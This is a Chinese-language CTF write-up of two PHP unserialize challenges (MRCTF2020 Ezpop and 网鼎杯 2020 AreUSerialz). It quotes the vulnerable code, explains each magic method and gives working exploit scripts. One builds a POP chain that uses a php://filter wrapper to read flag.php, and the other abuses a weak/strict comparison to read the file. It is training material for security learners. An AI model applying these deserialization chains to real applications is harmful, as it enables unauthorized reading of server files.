[MRCTF2020]Ezpop
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
先看最下面的if 语句,判断是否以get方式传参pop,如果有对pop进行反序列化,否则实例化类show并且高亮index.php
分别看一下几个类
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
声明一个保护类型变量,先定义了append方法,里面可以包含变量$value
又定义了一个__invoke魔术方法,触发条件当脚本尝试将对象调用为函数时触发,操作:将变量$var的值传给append方法并调用
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
定义了公有变量$source和变量$str,又使用construct方法初始化$file且值为index.php,输出index.php的内容
定义了toString方法,将str的值赋给source
__wakeup函数,反序列化时被触发,操作对source变量的内容进行匹配,并且对source赋值为index.php
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
将变量p的内容赋给数组,方法get用于从不可访问的属性读取数据,即在调用私有属性的时候会自动执行
反推一下:
1.我们需要利用类Modifier里的include这个函数,可以利用伪协议将flag读取出来,include函数需要使用invoke()来触发,触发条件当脚本尝试将对象调用为函数时触发,需要找到满足的条件
2.get魔术方法以function()函数返回this->p,我们需要将this->p设置为Modifier的实例化对象,那么而且上面对this->p赋值的操作是construct()控制,就可以利用construct
3.类Test里的get()魔术方法,也需要一定的条件触发,即在读取不可访问的属性的数据时,才会被触发,只有Show类中的toString(),需要将$this->str设置为Test类的实例化对象
4.toString触发条件:toString()当一个类被当成字符串使用时触发,而wakeup()魔术方法中的正则匹配就可以触发,我们只需要将this->source设置为show类的实例化对象,就可以触发__toString
大致pop链:
Modifier::__invoke<--Test::__get()<--Show::_toString()<--Show::__wakeup()<--Show::__construct()
exp
<?php
class Modifier{
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}
class Test{
public $p;
}
class Show{
public $source;
public $str;
public function __construct(){
$this->str = new Test();
}
}
$a =new Show();
$a->source =new Show();
$a->source->str->p =new Modifier();
echo urlencode(serialize($a));
?>
[网鼎杯 2020 青龙组]AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
反序列化类型的题,拆开FileHandler这个类看看
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
定义了三个保护性变量,初始化变量并且赋值,调用process类
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
如果变量op==1,调用write()类;如果op==2调用read()类,并且输出调用结果;以上都不是就输出Bad hacker!
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
私有方法write(),判断是否存在filename和content,content的内容不能太长,将content写进filename内,如果成功,调用output输出Successful;否则输出Failed
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
存在文件的话就读取,并且输出返回结果
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
析构函数,如果op==2,重新赋值为1,content为空,再调用process(),到这类FileHandler结束
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
会对我们输入的str进行限制,str里的每个字符都必须大于32,小于125
试着逆推一下pop链构造:
FileHandler:read()<--FileHandler:proccess()<--FileHandler:__destruct()
destruct里为强类型比较,process为弱类型
使destruct里的if为false,而process为true
对于protected的数据序列化时的%00绕过方法:因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符
exp
<?php
class FileHandler{
public $op = 2;
public $filename="flag.php"; //php:filter/read=convert.base64-encode/resource=flag.php
public $content = "2";
}
$a = new FileHandler();
echo serialize($a);
?>